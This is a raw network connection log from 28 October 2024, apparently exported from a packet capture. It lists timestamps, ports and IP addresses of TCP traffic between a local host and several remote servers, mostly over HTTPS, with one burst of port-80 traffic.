Oct 28, 2024 18:43:39.951153040 CET	443	63609	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:39.955460072 CET	443	63599	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:39.956286907 CET	443	63599	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:39.956396103 CET	63599	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:39.956396103 CET	63599	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:39.956463099 CET	63599	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:39.956470013 CET	443	63599	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:39.958940029 CET	63610	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:39.958965063 CET	443	63610	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:39.959203959 CET	63610	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:39.959225893 CET	63610	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:39.959230900 CET	443	63610	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:39.960493088 CET	443	63600	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:39.960638046 CET	443	63600	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:39.961812973 CET	63600	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:39.961812973 CET	63600	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:39.961812973 CET	63600	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:39.963701010 CET	63611	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:39.963730097 CET	443	63611	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:39.963922977 CET	63611	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:39.965462923 CET	63611	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:39.965490103 CET	443	63611	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:40.026302099 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:40.031619072 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:40.049657106 CET	443	63604	18.245.113.73	192.168.2.5
Oct 28, 2024 18:43:40.050362110 CET	63604	443	192.168.2.5	18.245.113.73
Oct 28, 2024 18:43:40.050369024 CET	443	63604	18.245.113.73	192.168.2.5
Oct 28, 2024 18:43:40.051462889 CET	443	63604	18.245.113.73	192.168.2.5
Oct 28, 2024 18:43:40.051636934 CET	63604	443	192.168.2.5	18.245.113.73
Oct 28, 2024 18:43:40.052493095 CET	63604	443	192.168.2.5	18.245.113.73
Oct 28, 2024 18:43:40.052553892 CET	443	63604	18.245.113.73	192.168.2.5
Oct 28, 2024 18:43:40.052704096 CET	63604	443	192.168.2.5	18.245.113.73
Oct 28, 2024 18:43:40.052711964 CET	443	63604	18.245.113.73	192.168.2.5
Oct 28, 2024 18:43:40.105031967 CET	63604	443	192.168.2.5	18.245.113.73
Oct 28, 2024 18:43:40.150990963 CET	63598	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:40.151015997 CET	443	63598	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:40.164417028 CET	443	63602	23.101.168.44	192.168.2.5
Oct 28, 2024 18:43:40.164792061 CET	63602	443	192.168.2.5	23.101.168.44
Oct 28, 2024 18:43:40.164804935 CET	443	63602	23.101.168.44	192.168.2.5
Oct 28, 2024 18:43:40.166100979 CET	443	63602	23.101.168.44	192.168.2.5
Oct 28, 2024 18:43:40.167263985 CET	63602	443	192.168.2.5	23.101.168.44
Oct 28, 2024 18:43:40.167467117 CET	443	63602	23.101.168.44	192.168.2.5
Oct 28, 2024 18:43:40.167490005 CET	63602	443	192.168.2.5	23.101.168.44
Oct 28, 2024 18:43:40.209662914 CET	63602	443	192.168.2.5	23.101.168.44
Oct 28, 2024 18:43:40.209676027 CET	443	63602	23.101.168.44	192.168.2.5
Oct 28, 2024 18:43:40.222089052 CET	443	63604	18.245.113.73	192.168.2.5
Oct 28, 2024 18:43:40.222438097 CET	443	63604	18.245.113.73	192.168.2.5
Oct 28, 2024 18:43:40.222549915 CET	63604	443	192.168.2.5	18.245.113.73
Oct 28, 2024 18:43:40.223979950 CET	63604	443	192.168.2.5	18.245.113.73
Oct 28, 2024 18:43:40.223987103 CET	443	63604	18.245.113.73	192.168.2.5
Oct 28, 2024 18:43:40.225099087 CET	63612	443	192.168.2.5	18.245.113.73
Oct 28, 2024 18:43:40.225130081 CET	443	63612	18.245.113.73	192.168.2.5
Oct 28, 2024 18:43:40.225362062 CET	63612	443	192.168.2.5	18.245.113.73
Oct 28, 2024 18:43:40.225755930 CET	63612	443	192.168.2.5	18.245.113.73
Oct 28, 2024 18:43:40.225771904 CET	443	63612	18.245.113.73	192.168.2.5
Oct 28, 2024 18:43:40.231698036 CET	63613	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:40.231709957 CET	443	63613	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:40.231803894 CET	63613	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:40.232069969 CET	63614	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:40.232109070 CET	443	63614	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:40.232176065 CET	443	63603	13.89.179.13	192.168.2.5
Oct 28, 2024 18:43:40.232198000 CET	63615	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:40.232198954 CET	63614	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:40.232208967 CET	443	63615	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:40.232391119 CET	63615	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:40.232414007 CET	63613	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:40.232426882 CET	443	63613	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:40.232589006 CET	63603	443	192.168.2.5	13.89.179.13
Oct 28, 2024 18:43:40.232599020 CET	443	63603	13.89.179.13	192.168.2.5
Oct 28, 2024 18:43:40.232805014 CET	63614	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:40.232812881 CET	63615	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:40.232829094 CET	443	63614	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:40.232830048 CET	443	63615	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:40.233704090 CET	443	63603	13.89.179.13	192.168.2.5
Oct 28, 2024 18:43:40.234051943 CET	63603	443	192.168.2.5	13.89.179.13
Oct 28, 2024 18:43:40.234977007 CET	63603	443	192.168.2.5	13.89.179.13
Oct 28, 2024 18:43:40.235045910 CET	443	63603	13.89.179.13	192.168.2.5
Oct 28, 2024 18:43:40.235214949 CET	63603	443	192.168.2.5	13.89.179.13
Oct 28, 2024 18:43:40.235214949 CET	63603	443	192.168.2.5	13.89.179.13
Oct 28, 2024 18:43:40.235224009 CET	443	63603	13.89.179.13	192.168.2.5
Oct 28, 2024 18:43:40.235251904 CET	443	63603	13.89.179.13	192.168.2.5
Oct 28, 2024 18:43:40.243196964 CET	443	63605	20.125.209.212	192.168.2.5
Oct 28, 2024 18:43:40.243570089 CET	63605	443	192.168.2.5	20.125.209.212
Oct 28, 2024 18:43:40.243577957 CET	443	63605	20.125.209.212	192.168.2.5
Oct 28, 2024 18:43:40.247222900 CET	443	63605	20.125.209.212	192.168.2.5
Oct 28, 2024 18:43:40.247392893 CET	63605	443	192.168.2.5	20.125.209.212
Oct 28, 2024 18:43:40.248280048 CET	63605	443	192.168.2.5	20.125.209.212
Oct 28, 2024 18:43:40.248451948 CET	63605	443	192.168.2.5	20.125.209.212
Oct 28, 2024 18:43:40.248454094 CET	443	63605	20.125.209.212	192.168.2.5
Oct 28, 2024 18:43:40.269448042 CET	63600	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:40.269490957 CET	443	63600	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:40.285068035 CET	63603	443	192.168.2.5	13.89.179.13
Oct 28, 2024 18:43:40.291341066 CET	443	63605	20.125.209.212	192.168.2.5
Oct 28, 2024 18:43:40.300734043 CET	63605	443	192.168.2.5	20.125.209.212
Oct 28, 2024 18:43:40.300740004 CET	443	63605	20.125.209.212	192.168.2.5
Oct 28, 2024 18:43:40.312186956 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:40.312277079 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:40.312289000 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:40.312304974 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:40.312346935 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:40.312357903 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:40.312362909 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:40.312374115 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:40.312383890 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:40.312387943 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:40.312391996 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:40.312417030 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:40.312448978 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:40.312467098 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:40.312849045 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:40.312910080 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:40.312935114 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:40.312968016 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:40.312979937 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:40.312990904 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:40.313011885 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:40.313021898 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:40.313041925 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:40.313045025 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:40.313055038 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:40.313059092 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:40.313067913 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:40.313081026 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:40.313101053 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:40.313102007 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:40.313116074 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:40.313128948 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:40.313141108 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:40.313143015 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:40.313143015 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:40.313195944 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:40.313206911 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:40.313219070 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:40.313221931 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:40.313271999 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:40.313271999 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:40.313294888 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:40.313318968 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:40.313333988 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:40.313344002 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:40.313355923 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:40.313366890 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:40.313378096 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:40.313385963 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:40.313390017 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:40.313402891 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:40.313415051 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:40.313416958 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:40.313416958 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:40.313436985 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:40.313450098 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:40.313462019 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:40.313467026 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:40.313529968 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:40.313549042 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:40.313555002 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:40.313563108 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:40.313572884 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:40.313582897 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:40.313594103 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:40.313664913 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:40.313679934 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:40.313687086 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:40.313707113 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:40.313709974 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:40.313718081 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:40.313730955 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:40.313741922 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:40.313745975 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:40.313754082 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:40.313755035 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:40.313766003 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:40.313776016 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:40.313780069 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:40.313788891 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:40.313801050 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:40.313813925 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:40.313815117 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:40.313827038 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:40.313836098 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:40.313836098 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:40.313855886 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:40.313859940 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:40.313872099 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:40.313882113 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:40.313885927 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:40.313894033 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:40.313905001 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:40.313905954 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:40.313919067 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:40.313930035 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:40.313934088 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:40.313944101 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:40.313952923 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:40.313956976 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:40.313981056 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:40.313982010 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:40.314003944 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:40.314006090 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:40.314027071 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:40.314028025 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:40.314038038 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:40.314049006 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:40.314063072 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:40.314074993 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:40.314081907 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:40.314088106 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:40.314121962 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:40.314121962 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:40.314356089 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:40.347616911 CET	63605	443	192.168.2.5	20.125.209.212
Oct 28, 2024 18:43:40.383236885 CET	443	63603	13.89.179.13	192.168.2.5
Oct 28, 2024 18:43:40.384515047 CET	443	63602	23.101.168.44	192.168.2.5
Oct 28, 2024 18:43:40.384561062 CET	443	63602	23.101.168.44	192.168.2.5
Oct 28, 2024 18:43:40.384721041 CET	63602	443	192.168.2.5	23.101.168.44
Oct 28, 2024 18:43:40.384747028 CET	443	63602	23.101.168.44	192.168.2.5
Oct 28, 2024 18:43:40.387351036 CET	63603	443	192.168.2.5	13.89.179.13
Oct 28, 2024 18:43:40.387407064 CET	443	63603	13.89.179.13	192.168.2.5
Oct 28, 2024 18:43:40.387579918 CET	443	63603	13.89.179.13	192.168.2.5
Oct 28, 2024 18:43:40.387614965 CET	63603	443	192.168.2.5	13.89.179.13
Oct 28, 2024 18:43:40.387691021 CET	63603	443	192.168.2.5	13.89.179.13
Oct 28, 2024 18:43:40.390039921 CET	63602	443	192.168.2.5	23.101.168.44
Oct 28, 2024 18:43:40.390113115 CET	443	63602	23.101.168.44	192.168.2.5
Oct 28, 2024 18:43:40.390541077 CET	443	63602	23.101.168.44	192.168.2.5
Oct 28, 2024 18:43:40.390614986 CET	63602	443	192.168.2.5	23.101.168.44
Oct 28, 2024 18:43:40.390614986 CET	63602	443	192.168.2.5	23.101.168.44
Oct 28, 2024 18:43:40.400667906 CET	443	63605	20.125.209.212	192.168.2.5
Oct 28, 2024 18:43:40.427026033 CET	443	63605	20.125.209.212	192.168.2.5
Oct 28, 2024 18:43:40.427083015 CET	63605	443	192.168.2.5	20.125.209.212
Oct 28, 2024 18:43:40.429651976 CET	63605	443	192.168.2.5	20.125.209.212
Oct 28, 2024 18:43:40.429658890 CET	443	63605	20.125.209.212	192.168.2.5
Oct 28, 2024 18:43:40.581831932 CET	443	63607	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:40.592097998 CET	63607	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:40.592134953 CET	443	63607	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:40.592588902 CET	63607	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:40.592602968 CET	443	63607	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:40.594405890 CET	443	63608	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:40.594816923 CET	63608	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:40.594872952 CET	443	63608	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:40.595241070 CET	63608	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:40.595258951 CET	443	63608	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:40.686139107 CET	443	63609	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:40.686629057 CET	63609	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:40.686681986 CET	443	63609	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:40.687093019 CET	63609	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:40.687104940 CET	443	63609	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:40.705472946 CET	443	63610	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:40.705851078 CET	63610	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:40.705878973 CET	443	63610	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:40.706212997 CET	63610	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:40.706218958 CET	443	63610	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:40.719116926 CET	443	63607	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:40.719475031 CET	443	63607	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:40.719552040 CET	63607	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:40.719603062 CET	63607	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:40.719638109 CET	443	63607	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:40.719666958 CET	63607	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:40.719682932 CET	443	63607	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:40.721853971 CET	63617	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:40.721904993 CET	443	63617	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:40.722112894 CET	63617	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:40.722327948 CET	63617	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:40.722357035 CET	443	63617	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:40.724456072 CET	443	63608	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:40.724479914 CET	443	63608	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:40.724539995 CET	443	63608	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:40.724550009 CET	63608	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:40.724581957 CET	63608	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:40.724775076 CET	63608	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:40.724791050 CET	443	63608	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:40.724801064 CET	63608	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:40.724811077 CET	443	63608	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:40.727272034 CET	63618	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:40.727294922 CET	443	63618	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:40.727348089 CET	63618	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:40.727448940 CET	63618	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:40.727457047 CET	443	63618	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:40.728055954 CET	443	63606	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:40.728956938 CET	63606	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:40.728992939 CET	443	63606	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:40.729413033 CET	63606	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:40.729424953 CET	443	63606	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:40.729489088 CET	63606	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:40.729502916 CET	443	63606	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:40.737562895 CET	443	63611	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:40.738116026 CET	63611	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:40.738169909 CET	443	63611	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:40.738507032 CET	63611	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:40.738518000 CET	443	63611	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:40.816409111 CET	443	63609	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:40.816452026 CET	443	63609	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:40.816504002 CET	63609	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:40.816536903 CET	443	63609	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:40.816576958 CET	63609	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:40.816905022 CET	443	63609	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:40.816975117 CET	63609	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:40.836807966 CET	63609	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:40.836839914 CET	443	63609	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:40.836869001 CET	63609	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:40.836884975 CET	443	63609	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:40.837299109 CET	443	63610	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:40.837347031 CET	443	63610	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:40.837443113 CET	63610	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:40.837454081 CET	443	63610	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:40.837495089 CET	443	63610	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:40.837548971 CET	63610	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:40.838524103 CET	63610	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:40.838538885 CET	443	63610	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:40.841418982 CET	63619	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:40.841464043 CET	443	63619	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:40.841546059 CET	63619	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:40.842583895 CET	443	63614	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:40.842837095 CET	63614	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:40.842849016 CET	443	63614	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:40.843302011 CET	443	63615	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:40.843472004 CET	63615	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:40.843481064 CET	443	63615	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:40.844002008 CET	63620	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:40.844034910 CET	443	63620	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:40.844101906 CET	443	63614	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:40.844162941 CET	63620	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:40.844410896 CET	443	63612	18.245.113.73	192.168.2.5
Oct 28, 2024 18:43:40.844538927 CET	63619	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:40.844561100 CET	63614	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:40.844573021 CET	443	63619	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:40.844754934 CET	443	63614	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:40.844871044 CET	63612	443	192.168.2.5	18.245.113.73
Oct 28, 2024 18:43:40.844881058 CET	443	63612	18.245.113.73	192.168.2.5
Oct 28, 2024 18:43:40.844887972 CET	443	63615	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:40.844971895 CET	63615	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:40.845012903 CET	63614	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:40.845331907 CET	63615	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:40.845387936 CET	443	63612	18.245.113.73	192.168.2.5
Oct 28, 2024 18:43:40.845412016 CET	443	63615	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:40.845418930 CET	63615	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:40.845740080 CET	63612	443	192.168.2.5	18.245.113.73
Oct 28, 2024 18:43:40.845823050 CET	443	63612	18.245.113.73	192.168.2.5
Oct 28, 2024 18:43:40.845926046 CET	63612	443	192.168.2.5	18.245.113.73
Oct 28, 2024 18:43:40.846105099 CET	443	63613	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:40.846316099 CET	63613	443	192.168.2.5	23.47.50.136
